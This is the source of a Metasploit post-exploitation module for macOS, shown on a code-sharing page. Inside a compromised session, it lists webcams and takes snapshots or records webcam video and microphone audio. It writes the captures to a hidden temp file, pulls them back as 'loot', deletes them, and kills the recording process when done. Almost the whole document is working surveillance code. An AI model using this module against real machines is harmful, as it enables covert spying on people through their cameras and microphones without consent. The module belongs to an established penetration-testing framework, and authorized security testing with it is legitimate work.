Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/manage/webcam.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'shellwords'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Auxiliary::Report
11
include Msf::Post::OSX::RubyDL
12
13
POLL_TIMEOUT = 120
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'OSX Manage Webcam',
20
'Description' => %q{
21
This module will allow the user to detect installed webcams (with
22
the LIST action), take a snapshot (with the SNAPSHOT action), or
23
record a webcam and mic (with the RECORD action).
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [ 'joev'],
27
'Platform' => [ 'osx'],
28
'SessionTypes' => [ 'shell' ],
29
'Actions' => [
30
[ 'LIST', { 'Description' => 'Show a list of webcams' } ],
31
[ 'SNAPSHOT', { 'Description' => 'Take a snapshot with the webcam' } ],
32
[ 'RECORD', { 'Description' => 'Record with the webcam' } ]
33
],
34
'DefaultAction' => 'LIST',
35
'Notes' => {
36
'Stability' => [CRASH_SAFE],
37
'SideEffects' => [],
38
'Reliability' => []
39
}
40
)
41
)
42
43
register_options(
44
[
45
OptInt.new('CAMERA_INDEX', [true, 'The index of the webcam to use. `set ACTION LIST` to get a list.', 0]),
46
OptInt.new('MIC_INDEX', [true, 'The index of the mic to use. `set ACTION LIST` to get a list.', 0]),
47
OptString.new('JPG_QUALITY', [false, 'The compression factor for snapshotting a jpg (from 0 to 1)', '0.8']),
48
OptString.new('TMP_FILE',
49
[true, 'The tmp file to use on the remote machine', '/tmp/.<random>/<random>']),
50
OptBool.new('AUDIO_ENABLED', [false, 'Enable audio when recording', true]),
51
OptString.new('AUDIO_COMPRESSION',
52
[true, 'Compression type to use for audio', 'QTCompressionOptionsHighQualityAACAudio']),
53
OptString.new('VIDEO_COMPRESSION',
54
[true, 'Compression type to use for video', 'QTCompressionOptionsSD480SizeH264Video']),
55
OptEnum.new('SNAP_FILETYPE',
56
[true, 'File format to use when saving a snapshot', 'png', %w[jpg png gif tiff bmp]]),
57
OptInt.new('RECORD_LEN', [true, 'Number of seconds to record', 30]),
58
OptInt.new('SYNC_WAIT', [true, 'Wait between syncing chunks of output', 5])
59
]
60
)
61
end
62
63
def run
64
fail_with(Failure::BadConfig, 'Invalid session ID selected.') if client.nil?
65
fail_with(Failure::BadConfig, 'Invalid action') if action.nil?
66
67
num_chunks = (datastore['RECORD_LEN'].to_f / datastore['SYNC_WAIT'].to_f).ceil
68
tmp_file = datastore['TMP_FILE'].gsub('<random>') { Rex::Text.rand_text_alpha(10) + '1' }
69
ruby_cmd = osx_capture_media(
70
action: action.name.downcase,
71
snap_filetype: datastore['SNAP_FILETYPE'],
72
audio_enabled: datastore['AUDIO_ENABLED'],
73
video_enabled: true,
74
num_chunks: num_chunks,
75
chunk_len: datastore['SYNC_WAIT'],
76
video_device: datastore['CAMERA_INDEX'],
77
audio_device: datastore['MIC_INDEX'],
78
snap_jpg_compression: datastore['JPG_QUALITY'].to_f,
79
video_compression: datastore['VIDEO_COMPRESSION'],
80
audio_compression: datastore['AUDIO_COMPRESSION'],
81
record_file: tmp_file,
82
snap_file: tmp_file + datastore['SNAP_FILETYPE']
83
)
84
85
output = cmd_exec(['ruby', '-e', ruby_cmd].shelljoin)
86
if action.name =~ /list/i
87
print_good output
88
elsif action.name =~ /record/i
89
@pid = output.to_i
90
print_status "Running record service with PID #{@pid}"
91
(0...num_chunks).each do |i|
92
# wait SYNC_WAIT seconds
93
print_status "Waiting for #{datastore['SYNC_WAIT'].to_i} seconds"
94
Rex.sleep(datastore['SYNC_WAIT'])
95
# start reading for file
96
begin
97
::Timeout.timeout(poll_timeout) do
98
loop do
99
if File.exist?(tmp_file)
100
# read file
101
contents = File.read(tmp_file)
102
# delete file
103
rm_f(tmp_file)
104
# roll filename
105
base = File.basename(tmp_file, '.*') # returns it with no extension
106
num = ((base.match(/\d+$/) || ['0'])[0].to_i + 1).to_s
107
ext = File.extname(tmp_file) || 'o'
108
tmp_file = File.join(File.dirname(tmp_file), base + num + '.' + ext)
109
# store contents in file
110
title = 'OSX Webcam Recording ' + i.to_s
111
f = store_loot(title, 'video/mov', session, contents,
112
"osx_webcam_rec#{i}.mov", title)
113
print_good "Record file captured and saved to #{f}"
114
print_status 'Rolling movie file. '
115
break
116
else
117
Rex.sleep(0.3)
118
end
119
end
120
end
121
rescue ::Timeout::Error
122
fail_with(Failure::TimeoutExpired, 'Client did not respond to new file request, exiting.')
123
end
124
end
125
elsif action.name =~ /snap/i
126
if output.include?('(RuntimeError)')
127
print_error output
128
return
129
end
130
131
snap_type = datastore['SNAP_FILETYPE']
132
img = read_file(tmp_file + snap_type)
133
f = store_loot('OSX Webcam Snapshot', "image/#{snap_type}",
134
session, img, "osx_webcam_snapshot.#{snap_type}", 'OSX Webcam Snapshot')
135
print_good "Snapshot successfully taken and saved to #{f}"
136
end
137
end
138
139
def cleanup
140
return unless @cleaning_up.nil?
141
142
@cleaning_up = true
143
144
if action.name =~ (/record/i) && !@pid.nil?
145
print_status('Killing record service...')
146
cmd_exec("/bin/kill -9 #{@pid}")
147
end
148
end
149
150
private
151
152
def poll_timeout
153
POLL_TIMEOUT
154
end
155
end
156
157